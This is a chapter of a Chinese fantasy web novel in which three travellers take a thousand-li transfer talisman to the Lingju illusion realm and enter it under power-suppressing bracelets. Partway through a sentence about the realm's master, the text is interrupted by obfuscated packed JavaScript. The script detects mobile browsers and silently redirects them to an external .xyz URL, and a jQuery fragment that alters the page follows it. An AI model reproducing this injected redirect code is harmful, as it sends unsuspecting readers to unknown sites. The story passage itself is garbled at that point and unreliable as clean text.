穗穗话音刚落,裴寂的脸色便顷然一黑。
元满倒没有不愿意,她心中想着,这孩子年纪虽小,却天赋极高,在暗城的时候,便已经见识过。
以自己现在的状态,难保不会在危难关头再掉链子,若能结伴同行,也算多了一份安全保障。
况且,这样一个漂漂亮亮又爱说话的女孩子,她从小喜欢到大,姜娩是这样,穗穗也是这样。
路上来了这样一个伙伴,她也不必发愁要一直和裴寂大眼瞪小眼,话不投机半句多。
思及此处,元满热情邀请穗穗今日留宿,明日再出发。
穗穗自然也开心,她在暗城时便想要同元满交朋友,自然没有拒绝的理由。
唯有裴寂依旧黑着脸,摩挲着自己的袖刀。
穗穗吓了一跳。
她了解裴寂这个人,他自来到暗城时便一副生无可恋的霉样,入了明王殿,更是恰好找到了宣泄口般,做什么事都不计后果。
他心情不好的时候,就喜欢摸着自己的袖刀,谁知道是不是在盘算着要突然给别人来一刀。
穗穗立刻打了个冷颤,心道不妙。
于是她随便找了个理由婉拒了元满的邀请,转身就溜之大吉。
穗穗走后,原先热闹的房间又安静下来。
裴寂抚了抚袖子的褶皱,俯身去为元满收拾纸笔,却在触到羽笔的时候,冷不丁被元满碰了一下手。
女孩拧着眉,缓缓开口:“你的手总是这样冰。”
她抬起手,又碰了碰裴寂的脸。
却是热的。
元满愣了一下,又握住裴寂的指头。
是正常人的体温。
就好像刚才冰凉的触感是她的错觉。
元满掀起眼皮,又看向裴寂的眼睛,她自幼时便养成了这样的习惯,在思考时,眼睛必须看着一个不怎么动的定点。
她仔细想着,这样正好,也许只是在某一刻冻着了,因为,不会有人的身体一直冰得让人发寒。
除非他不是正常人。
但裴寂怎么可能不是正常人呢?
不正常的应该是自己。
她又摸摸裴寂的手,直到青年克制不住地反手按住她素白的指尖。
她才“哦”了一声。
“幸好你还活着。”
元满不知怎么忽然生出这样的感慨。
翌日清晨,三人在约定的地点汇合。
穗穗献宝般掏出一张银钱符纸,符上铁钩银划,赫然是千里奔袭符的标志。
竟然是张千里转移符。
在这世间,没有灵脉的普通人出行最为困难,一座巍然大山便能阻碍他们前进的脚步,或绕路、或开凿大山,在其间耗费的心神力气根本没有尽头。
拥有灵脉的修仙者,或御剑飞行,或乘风而行,可是无论去往何地,还是会耗去许多时间。
以灵符转移便不同,这边画符念咒,下一刻,便能直接空降到目的地,所用时间几乎可以忽略不计。
遗憾的是,转移符耗费心力灵脉甚多,同样的路途,御剑飞行若耗一分力气,画出转移符便要耗去七分,如非情况实在紧急,否则启用转移符就是大大滴不划算。
更别提画出千里转移符。
不过嘛,你不愿意画,自然有人愿意画,你不舍得用,自然有人舍得用。
这一来二去,直接催生了转移符行业兴起,十里符半两银子,百里符十两银,千里符百两银。
昔日玉渡山上,元满有时候犯了错被扣掉零花钱,便会偷偷画几张转移符卖掉补贴自己。
这厢看见穗穗手拿千里转移符,元满便像看见了一百两银子。
裴寂有些迟疑地开口:“明王给的?”
穗穗点头:“是呀是呀。”
她笑:“我不是咱们明王殿最后一个知书达理的明侍了吗?明王一高兴,就赏了我一张。”
裴寂沉默:“你好好说话。”
元满接过穗穗递来的符纸,仔细端详了一番,发现了不对劲。
“这是去铃居幻境的符?”
裴寂看了过来。
穗穗依旧点头:“嗯呢!”
“铃居就在北境边界了,届时从那里御剑即可,费不了多长时间。”
她又补充:“我去铃居有点事儿。”
本以为裴寂不会同意中程转道,穗穗绞尽脑汁还要再说服,却听见他道了声“好”。
青年忽然抬目眺望着北疆的方向,不知道在思索什么。
元满没什么愿不愿意的,反正符纸不是她亲手画的,她没什么决定权,只管蹭符就行,便拉拉裴寂肩膀衣裳上垂落的青绿衣带,催促他快走。
穗穗红唇微启,念了唤醒转移符的咒语,符纸霎时间悬浮在面前,通体逸散着水红的光色。
元满觉得有些熟悉,她似乎在从前的某刻看见过这样的颜色,却怎么也想不起来。
片刻之后,三人已然转移到铃居幻境门前。
这幻境位于闹市中街,楼高二层,双门紧闭,看着毫不起眼。
唯有牌匾高悬,刻着“铃居”二字,千年来,似乎渗入北境冷冽的风与雪。
元满对这个地方有所耳闻。
她知道铃居,是因为铃居幻境里面闻名遐迩的茶园。因为得天独厚的生长条件,这里的茶叶鲜翠欲滴,带着一种清新异香。
元满昔日最爱品茶,无论到了哪里,都要先搜罗一番当地上好的茗茶,她虽没来过铃居,父亲却来过,每次来此地,都不会忘记为她带一包新鲜茶叶。
她喜欢这种味道,也喜欢茶叶的名字——铃居青野。
铃居幻境是九州盛景之一,自长门而入,便会来到一个和所在小镇完全不同的仙境,四时之貌虽不尽相同,却从不会有恶劣诡异时刻,一年四季风调雨顺,万物生长。
幻境中有大片的茶园,犹如溪山碧玉长河镶嵌山间,净水溪流蜿蜒盘旋,晨雾氤氲缭绕。
这是个少有的修仙人和普通百姓地位同等的地方,因为入口的结界会阻挡一切身负灵脉之人,除非戴上铃居主事人发放的禁镯以压制灵力。
铃居的第一代主人早已隐入历史的尘埃不可考证,祂在千年前一手创立起这样一个人间幻境,在此后的数千年,依旧庇佑着小镇的无数民众。
不过,如今主人倒是众所周知,乃无极宗虚谷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261330|181733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先生诸葛兰伽。
元满忽而想起来那日“奉楚”同宿酒的谈话,言谈之中宿酒似乎和这位一向风评良好的避世先生关系匪浅。
既然如此,在不知道诸葛兰伽是敌是友的情况下,还是不要主动暴露自己的身份为好。
三人心思各异踏上屋前长阶,推开紧闭的高门。
屋内,灯火通明,烟雾缭绕。
偌大的屋内,唯有一鹅黄衣衫的小童坐镇,他腰间垂落的玉佩样式,正是无极宗的宗徽。
小童正翻看着旧书,眉目间拢着两份厌意,听见动静,方才抬起头,露出一张清秀隽永的脸来,雪白额间是一点殷红朱砂痣。
他扫视了一眼屋内三人,并未说话,直接抛来三个禁镯。
“请吧。”
山泉般的少年音响起:“三位大人。”
说罢,他便不再管他们三人,打了个哈欠,又开始翻看手里的旧书。
穗穗到哪里都是好奇心极重的模样,她边往腕子上扣禁镯,边伸着头往柜台看,嘀嘀咕咕:“看啥呢这么聚精会神?”
小童耳聪目明,“啪——”得一声阖住旧书,有些不耐烦了:“快走!”
穗穗哈哈大笑起来,终于不再说话。
穿戴好禁镯,三人顺利进入幻境。
待走到一个那小童绝不会再听到的位置,穗穗神神秘秘开口:“你们看清了吗?”
元满询问:“什么?”
穗穗眼眸流转,压低声音:“他在看‘霸道师尊爱上我’,我瞧得一清二楚!”
穗穗吐槽:“看书旧得像一坨垃圾,就知道他看了不知道多少遍,这小小童子,年纪轻轻不学好,竟然看这些书。”
“你说,”穗穗真心发问:“他不会喜欢自己的师傅吧?”
元满仔细思考了一下:“也许,他只是仰慕?小孩子年纪太小分不清这些很正常。”
穗穗:“那你会……”
元满猜到她要问什么,立刻打断她:“我师父是我亲爹,我自然喜欢他。”
穗穗又转向裴寂:“那你……”
裴寂也立刻打断她:“我谁也不喜欢。”
他看向话密得像鹦鹉的穗穗:“特别是话多的人。”
元满愣了一瞬。
幸好幸好,她松了一口气,虽然她在姜娩和爹娘面前话很多,但幸好面对裴寂话不多,要不裴寂就该讨厌她了。
如今他们方才冰释前嫌,可不能再变成过去那样。
穗穗哽了一下,冷哼一声:“我管你喜欢不喜欢讨不讨厌。”
但却终于不再说话了。
元满朝她招了招手:“穗穗。”
穗穗咬着唇看她:“嗯?”
元满:“我不讨厌你,我喜欢你说话。”
穗穗大喜:“真的?”
元满点头:“真的。”
女孩一甩卷发,从裴寂右手边,换到了元满右手边:“好呀好呀。”
“我告诉你:”
“我突然感觉,那个小孩不像小孩。”
“什么意思?”
“他身上的味道不太对,但我没法确定,兴许,是我认错了。”